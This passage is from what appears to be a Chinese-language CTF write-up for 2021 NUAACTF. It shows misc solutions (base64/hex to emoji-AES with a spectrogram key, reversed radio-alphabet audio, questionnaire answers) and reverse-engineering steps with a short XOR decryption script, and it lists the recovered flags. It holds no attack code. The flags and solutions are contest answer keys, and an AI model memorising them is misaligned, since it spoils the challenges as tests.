  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>base64</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">asuri{i_think_that_is_so_easy_for_you}</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="medium">medium<a class="anchor" href="#medium">#</a></h3>
<p>解压有个key.wav文件，应该是密钥
audacity频谱看一下，得到密钥<code>MudaMudaMudaMuda</code>
<img
  src="/04473e/2021NUAACTF_misc_medium_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1374" height="1045"
/>
</p>
<p>strings看下图片，发现结尾有一串字符串</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">RjAgOUYgOTkgODMgRjAgOUYgOTIgQjUgRjAgOUYgOEMgQkYgRjAgOUYgOEUgQTQgRjAgOUYgOUEgQUEgRjAgOUYgOEMgOEYgRjAgOUYgOTAgOEUgRjAgOUYgQTUgOEIgRjAgOUYgOUEgQUIgRjAgOUYgOTggODYgRTIgOUMgODUgRjAgOUYgOTggODAgRjAgOUYgQTQgQTMgRTIgOEMgQTggRjAgOUYgOTAgOEQgRTIgOTggODAgRjAgOUYgQTUgOEIgRjAgOUYgOTggODYgRjAgOUYgOTkgODMgRjAgOUYgOEUgODMgRjAgOUYgOTAgOTggRjAgOUYgOEQgOEQgRTIgOTggODIgRjAgOUYgOUEgQUEgRjAgOUYgOEMgQUEgRjAgOUYgOTIgQjUgRjAgOUYgOUEgQTggRTIgOEMgQTggRjAgOUYgOTggODEgRjAgOUYgOTQgQUEgRTIgOUMgOTYgRjAgOUYgOEUgODggRjAgOUYgOEMgOEYgRjAgOUYgOTQgODQgRjAgOUYgOTYgOTAgRjAgOUYgQTYgOTMgRjAgOUYgOEMgOEYgRjAgOUYgOTUgQjkgRjAgOUYgOTggOEQgRjAgOUYgOTEgOEMgRjAgOUYgOEMgODkgRjAgOUYgOTIgQjUgRjAgOUYgOEYgOEUgRjAgOUYgOUEgQUIgRjAgOUYgQTQgQTMgRjAgOUYgOTYgOTAgRjAgOUYgOTIgQTcgRjAgOUYgOEQgOEQgRjAgOUYgOEMgQkYgRjAgOUYgOTggOEQgRjAgOUYgOEQgOEUgRjAgOUYgOUEgQTggRjAgOUYgOTAgOEUgRjAgOUYgOTIgQjUgRjAgOUYgOEMgQkYgRjAgOUYgOEYgQjkgRjAgOUYgOEUgODUgRjAgOUYgOTkgODMgRjAgOUYgOTEgOTEgRjAgOUYgOTggODYgRTIgOTggODMgRjAgOUYgOTAgODUgRjAgOUYgOTUgQjkgRjAgOUYgOTggODcgRjAgOUYgOEYgQjkgRjAgOUYgOEYgQjkgRjAgOUYgOEQgQjUgRjAgOUYgOEUgODggRjAgOUYgOEQgOEUgRjAgOUYgQTQgQTMgRjAgOUYgOTggODEgRjAgOUYgOEQgOEQgRjAgOUYgOUEgQTggRjAgOUYgOEYgQjkgRjAgOUYgOTEgQTMgRjAgOUYgOTQgODQgRjAgOUYgQTQgQTMgRjAgOUYgOEUgODggRjAgOUYgOTggODIgRjAgOUYgOTAgOEQgRTIgOUMgODUgRjAgOUYgOTggODAgIEUyIDlDIDg1IEYwIDlGIDlBIEFBIEYwIDlGIDk4IDhFIEYwIDlGIDk4IDgwIEYwIDlGIDk3IDkyIEYwIDlGIDk3IDkyCg==</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>base64</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">F0 9F 99 83 F0 9F 92 B5 F0 9F 8C BF F0 9F 8E A4 F0 9F 9A AA F0 9F 8C 8F F0 9F 90 8E F0 9F A5 8B F0 9F 9A AB F0 9F 98 86 E2 9C 85 F0 9F 98 80 F0 9F A4 A3 E2 8C A8 F0 9F 90 8D E2 98 80 F0 9F A5 8B F0 9F 98 86 F0 9F 99 83 F0 9F 8E 83 F0 9F 90 98 F0 9F 8D 8D E2 98 82 F0 9F 9A AA F0 9F 8C AA F0 9F 92 B5 F0 9F 9A A8 E2 8C A8 F0 9F 98 81 F0 9F 94 AA E2 9C 96 F0 9F 8E 88 F0 9F 8C 8F F0 9F 94 84 F0 9F 96 90 F0 9F A6 93 F0 9F 8C 8F F0 9F 95 B9 F0 9F 98 8D F0 9F 91 8C F0 9F 8C 89 F0 9F 92 B5 F0 9F 8F 8E F0 9F 9A AB F0 9F A4 A3 F0 9F 96 90 F0 9F 92 A7 F0 9F 8D 8D F0 9F 8C BF F0 9F 98 8D F0 9F 8D 8E F0 9F 9A A8 F0 9F 90 8E F0 9F 92 B5 F0 9F 8C BF F0 9F 8F B9 F0 9F 8E 85 F0 9F 99 83 F0 9F 91 91 F0 9F 98 86 E2 98 83 F0 9F 90 85 F0 9F 95 B9 F0 9F 98 87 F0 9F 8F B9 F0 9F 8F B9 F0 9F 8D B5 F0 9F 8E 88 F0 9F 8D 8E F0 9F A4 A3 F0 9F 98 81 F0 9F 8D 8D F0 9F 9A A8 F0 9F 8F B9 F0 9F 91 A3 F0 9F 94 84 F0 9F A4 A3 F0 9F 8E 88 F0 9F 98 82 F0 9F 90 8D E2 9C 85 F0 9F 98 80  E2 9C 85 F0 9F 9A AA F0 9F 98 8E F0 9F 98 80 F0 9F 97 92 F0 9F 97 92</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>hex转字符</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">🙃💵🌿🎤🚪🌏🐎🥋🚫😆✅😀🤣⌨🐍☀🥋😆🙃🎃🐘🍍☂🚪🌪💵🚨⌨😁🔪✖🎈🌏🔄🖐🦓🌏🕹😍👌🌉💵🏎🚫🤣🖐💧🍍🌿😍🍎🚨🐎💵🌿🏹🎅🙃👑😆☃🐅🕹😇🏹🏹🍵🎈🍎🤣😁🍍🚨🏹👣🔄🤣🎈😂🐍✅😀✅🚪😎😀🗒🗒</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>emoji-aes,加上密钥
解出：flag{AES_1s_Gr3atS0_y0u_L1ke_1t_V3ry_Much}</p>
<h3 id="questionnaire">questionnaire<a class="anchor" href="#questionnaire">#</a></h3>
<p>问卷调查，答案分别为</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">Naijing University of Aeronautics and Astronautics
</span></span><span class="line"><span class="ln">2</span><span class="cl">都缺
</span></span><span class="line"><span class="ln">3</span><span class="cl">Asuri
</span></span><span class="line"><span class="ln">4</span><span class="cl">航空航天民航
</span></span><span class="line"><span class="ln">5</span><span class="cl">智周万物,道济天下
</span></span><span class="line"><span class="ln">6</span><span class="cl">辅导员审核
</span></span><span class="line"><span class="ln">7</span><span class="cl">将军路校区</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>asuri{baigei_h4ve_funnnn}</p>
<h3 id="我们生活在南京一穿越时空的电波">我们生活在南京（一）——穿越时空的电波<a class="anchor" href="#我们生活在南京一穿越时空的电波">#</a></h3>
<p>音频放软件里反向播放，会听到一些英语单词，根据无线电英语字母发音表来写</p>
<p><img
  src="/04473e/2021NUAACTF_misc_nanjing1_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="842" height="524"
/>
</p>
<p><code>RADIOWAVESACROSSTIME</code>，</p>
<h2 id="reverse">reverse<a class="anchor" href="#reverse">#</a></h2>
<h3 id="ida-start">IDA Start<a class="anchor" href="#ida-start">#</a></h3>
<p>ida64打开，shift+F12</p>
<p>flag{St4rt_t0_u3e_IDA}</p>
<h3 id="warm-up">warm up<a class="anchor" href="#warm-up">#</a></h3>
<p>拖IDA里看下逻辑，main函数里面有异或</p>
<p><img
  src="/04473e/2021NUAACTF_reverse_warmup_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="586" height="272"
/>
</p>
<p>然后main函数中先使用某个函数调用了另一个函数，这个函数里也有异或</p>
<p><img
  src="/04473e/2021NUAACTF_reverse_warmup_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="488" height="227"
/>
</p>
<p>解密脚本：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="n">key</span><span class="o">=</span><span class="p">[</span> <span class="mh">0x56</span><span class="p">,</span> <span class="mh">0x4E</span><span class="p">,</span> <span class="mh">0x57</span><span class="p">,</span> <span class="mh">0x58</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x46</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x46</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">  <span class="mh">0x54</span><span class="p">,</span> <span class="mh">0x5A</span><span class="p">,</span> <span class="mh">0x59</span><span class="p">,</span> <span class="mh">0x59</span><span class="p">,</span> <span class="mh">0x1F</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0x5B</span><span class="p">,</span> <span class="mh">0x6B</span><span class="p">,</span> <span class="mh">0x7C</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0x6E</span><span class="p">,</span> <span class="mh">0x7E</span><span class="p">,</span> <span class="mh">0x6E</span><span class="p">,</span> <span class="mh">0x2F</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x4F</span><span class="p">,</span> <span class="mh">0x7A</span><span class="p">,</span> <span class="mh">0x71</span><span class="p">,</span> <span class="mh">0x43</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="mh">0x2B</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xFE</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="nb">str</span><span class="o">=</span><span class="nb">list</span><span class="p">(</span><span class="s2">&#34;qasxcytgsasxcvrefghnrfghnjedfgbhn&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">))</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">str2</span><span class="o">=</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">*</span><span class="mi">35</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">33</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="n">str2</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="nb">ord</span><span class="p">(</span><span class="nb">str</span><span class="p">[</span><span class="n">i</span><span class="p">])</span><span class="o">^</span><span class="mi">2</span><span class="o">*</span><span class="n">i</span><span class="o">+</span><span class="mi">65</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">flag</span><span class="o">=</span><span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">34</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">     <span class="n">flag</span><span class="o">+=</span><span class="nb">chr</span><span class="p">(</span><span class="n">str2</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">^</span><span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
